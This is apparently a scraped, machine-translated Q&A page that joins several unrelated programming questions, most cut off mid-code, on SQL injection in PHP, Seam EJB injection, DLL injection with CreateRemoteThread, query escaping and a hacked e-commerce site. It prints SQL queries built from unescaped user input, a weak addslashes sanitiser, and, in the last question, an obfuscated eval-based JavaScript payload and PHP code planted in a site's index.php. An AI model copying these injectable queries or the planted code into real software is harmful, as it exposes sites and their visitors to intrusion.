我已经阅读了各种来源,但我不确定如何将它们应用到我的代码中.我想知道是否有人能给我一个快速的手?一旦我被告知如何在我的代码中执行一次,我想能够接受它我认为!这是我在网上找到的一个AJAX自动完成,虽然我看到由于'%$ queryString%'或其他原因它容易受到SQL注入的影响?任何帮助真的很感激!
if ( isset( $_POST['queryString'] ) )
{
$queryString = $_POST['queryString'];
if ( strlen( $queryString ) > 0 )
{
$query = "SELECT game_title, game_id FROM games WHERE game_title LIKE '%$queryString%' || alt LIKE '%$queryString%' LIMIT 10";
$result = mysql_query( $query, $db ) or die( "There is an error in database please contact support@laglessfrag.com" );
while ( $row = mysql_fetch_array( $result ) )
{
$game_id = $row['game_id'];
echo '<li onClick="fill(\'' . $row['game_title'] . '\',' . $game_id . ');">' . …Run Code Online (Sandbox Code Playgroud) 我在JBoss AS上使用Seam.在我的应用程序中,我有一个SLSB,它也使用@Name注释声明为接缝组件.我正在尝试使用@In注释在另一个接缝组件中注入和使用此SLSB.
我的问题是,有时Seam注入本地接口(然后代码运行正常),有时接缝注入远程接口(然后执行代码时出错).我已尝试完成此链接上指定的所有内容:http://docs.jboss.org/seam/2.2.0.GA/reference/en-US/html/configuration.html#config.integration.ejb.container
配置了SeamInterceptor,
我在components.xml文件中指定了jndi模式(<core:init debug ="true"jndi-pattern ="earName /#{ejbName}/local"/>),
我也尝试过使用每个SLSB
都有@JndiName("earName/ejbName/local")注释,我试过在seam.properties文件中设置这个属性(org.jboss.seam.core.init.jndiPattern = earName /#{ejbName}/local) .
我也尝试将下面的文本放在web.xml文件中
Run Code Online (Sandbox Code Playgroud)<context-param> <param-name>org.jboss.seam.core.init.jndiPattern</param-name> <param-value>earName/#{ejbName}/local</param-value> </context-param>
即使在完成上述所有操作之后,接缝仍然有时会注入远程接口.我在这里错过了什么吗?任何人都可以告诉我如何解决这个问题,告诉缝始终注入本地接口?
我的components.xml文件如下所示:
Run Code Online (Sandbox Code Playgroud)<?xml version="1.0" encoding="UTF-8"?> <components xmlns="http://jboss.com/products/seam/components" xmlns:core="http://jboss.com/products/seam/core" xmlns:persistence="http://jboss.com/products/seam/persistence" xmlns:drools="http://jboss.com/products/seam/drools" xmlns:bpm="http://jboss.com/products/seam/bpm" xmlns:security="http://jboss.com/products/seam/security" xmlns:mail="http://jboss.com/products/seam/mail" xmlns:web="http://jboss.com/products/seam/web" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation= "http://jboss.com/products/seam/core http://jboss.com/products/seam/core-2.1.xsd http://jboss.com/products/seam/persistence http://jboss.com/products/seam/persistence-2.1.xsd http://jboss.com/products/seam/drools http://jboss.com/products/seam/drools-2.1.xsd http://jboss.com/products/seam/bpm http://jboss.com/products/seam/bpm-2.1.xsd http://jboss.com/products/seam/security http://jboss.com/products/seam/security-2.1.xsd http://jboss.com/products/seam/mail http://jboss.com/products/seam/mail-2.1.xsd http://jboss.com/products/seam/web http://jboss.com/products/seam/web-2.1.xsd http://jboss.com/products/seam/components http://jboss.com/products/seam/components-2.1.xsd"> <core:init debug="true" jndi-pattern="myEarName/#{ejbName}/local"/> <core:manager concurrent-request-timeout="500" conversation-timeout="120000" conversation-id-parameter="cid" parent-conversation-id-parameter="pid"/> <web:hot-deploy-filter url-pattern="*.seam"/> <persistence:managed-persistence-context name="entityManager" auto-create="true" persistence-unit-jndi-name="@puJndiName@"/> <drools:rule-base name="securityRules"> <drools:rule-files> <value>/security.drl</value> </drools:rule-files> </drools:rule-base> <security:rule-based-permission-resolver security-rules="#{securityRules}"/> <security:identity authenticate-method="#{authenticator.authenticate}" remember-me="true"/> …
我有一个评论表单,包含2个字段(标题和注释).数据库包含3列id,标题和注释.评论显示基于它title类似于domain.com/index.php?id=sometitle
使用mysql_real_escape_string正确保护标题字段以进行sql注入,但是作为textarea的注释字段保持打开状态而不进行转义.我可以逃脱它,但是我想知道如果不知道标题已经被转义并且它是如何检索输出而不在该字段上使用mysql_real_escape_string而留下它会有什么害处.
我写了dll注入程序,工作得很好.它将dll加载到远程进程并调用一些函数.现在我想将参数传递给该函数.CreateRemoteThread有lpParameter,但如何在dll中传递该参数以在函数中使用它?
更新:dll入口点很常见:
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
Run Code Online (Sandbox Code Playgroud)
Dll只包含一个具有以下原型的函数:
void TestFunction(const char* ua);
Run Code Online (Sandbox Code Playgroud)
调用该函数的代码是:
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((void*)codecaveExecAddr), (LPVOID)argumentAddress, 0, NULL);
Run Code Online (Sandbox Code Playgroud)
正如您所看到的,我尝试在TestFunction中传递"test"字符串.但后来我检查了TestFunction中的ua参数,它包含了一些垃圾.
以下是整个项目文件:
http://pastebin.com/gh4SnhmV
http://pastebin.com/Sq7hpSVx
http://pastebin.com/dvgXpUYz
更新2
TestFunction应该有一些特定的指标,或者我可以使用任何只要它只有一个LPVOID类型的参数?我糊涂了.谁能给我一个如何用一些参数调用注入的dll函数的例子?
我知道如何从C#执行查询,但我想提供一个下拉列表,人们可以在其中编写查询,它将执行并填充列表.
问题是我想禁止以任何方式修改数据库的所有查询.我还没有找到办法做到这一点,我用谷歌做到了最好.
我能想到的解决方案是我将扫描查询INSERT,DELETE,UPDATE并且只允许SELECT语句.但是,我希望能够允许用户也调用存储过程.这意味着我需要获取存储过程的主体并在执行之前对其进行扫描.我如何下载存储过程呢?
如果有人知道只执行只读查询的方法请分享!我有扫描文本的感觉INSERT,DELETE,UPDATE不会阻止SQL注入.
Python拥有与数据库交互的各种库,这提供了一种构建SQL查询的好方法,而不必担心SQL注入.例如,使用sqlite3:
for t in [('2006-03-28', 'BUY', 'IBM', 1000, 45.00),
('2006-04-05', 'BUY', 'MSOFT', 1000, 72.00),
('2006-04-06', 'SELL', 'IBM', 500, 53.00),
]:
c.execute('insert into stocks values (?,?,?,?,?)', t)
Run Code Online (Sandbox Code Playgroud)
麻烦的是,我不想执行查询,我只是想格式化它并将查询作为字符串.我想我可以自己逃避,但这不是一个非常优雅的解决方案.必须有一种方法来获取格式化的查询,而无需实际连接到数据库并运行它们.
(上下文是我正在编写一个过滤器,它从输入中准备一系列SQL语句,但我不想在特定数据库上运行它们,只是保存它们以供日后使用.)
我刚刚读了关于SQL注入的内容,并在我正在阅读的博客上发现了这个函数我想知道它是否对SQL注入是安全的..如果我传递remove_mq($_POST)给它,我可以$_POST["var"]在查询中使用没有问题吗?
function remove_mq($array){
foreach($array as $key => $value){
if(is_array($value)){
$array[$key] = remove_mq($value);
}
else{
$array[$key] = addslashes($value);
}
}
return $array;
}
Run Code Online (Sandbox Code Playgroud) 我有一个文件"submit.php",它将从"choose-product.php"中的前一个表单提交的一系列值写入MySQL数据库.我已经mysql_real_escape_string按照上一个问题中的建议使用了,但是我注意到如果我将"choose-product.php"文件上传到单独的服务器并将表单的开头更改为
<form name="form" id="form" action="http://www.myserver.com/submit.php" method="post">
Run Code Online (Sandbox Code Playgroud)
这也将为数据库写一系列值.显然这非常糟糕!现在,我知道有一种方法可以解决这个问题,但由于这是我第一次编写这样的代码,我有点难过.
以下是完整代码submit.php:
<?php
include("db.php");
function random_string() {
$character_set_array = array();
$character_set_array[] = array('count' => 7, 'characters' => 'abcdefghijklmnopqrstuvwxyz');
$character_set_array[] = array('count' => 1, 'characters' => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ');
$character_set_array[] = array('count' => 3, 'characters' => '0123456789');
$character_set_array[] = array('count' => 1, 'characters' => '!@#$*&:');
$temp_array = array();
foreach ($character_set_array as $character_set) {
for ($i = 0; $i < $character_set['count']; $i++) {
$temp_array[] = $character_set['characters'][rand(0, strlen($character_set['characters']) - 1)];
}
}
shuffle($temp_array); …Run Code Online (Sandbox Code Playgroud) 我有一个textarea,其值将被插入到mysql数据库中.为了防止mysql注入,我是通过nl2br,mysql_real_escape_string,htmlentities还是2或全部3的组合处理输入?我以什么顺序处理数据?
我正在电子商务网站上工作.它工作正常,但突然所有的ajax功能都无法正常工作.当我在firebug中检查ajax代码时,我可以看到一些js字符串附加了该响应:
{"success":"Success: You have added <a href=\"http:\/\/www.test.com\/exmple\">sample<\/a> to your <a href=\"http:\/\/www.test.com
\/index.php?route=checkout\/cart\">shopping cart<\/a>!","total":"2070
items","amount":"$2,028.60"} <script>e=eval;v="0"+"x";a=0;try{a&=2}catch(q){a=1}if(!a)
{try{document["\x62ody"]^=~1;}catch(q) {a2="_"}z="10_10_70_6d_27_2f_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_7a_49_80_5b_68_6e_55_68_74_6c_2f_2e_69_76_6b_80_2e_30_62_37_64_30_82_14_10_10
Run Code Online (Sandbox Code Playgroud)
我只在firefox中收到此错误....
这是他们添加到index.php文件中的内容.
<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // …Run Code Online (Sandbox Code Playgroud)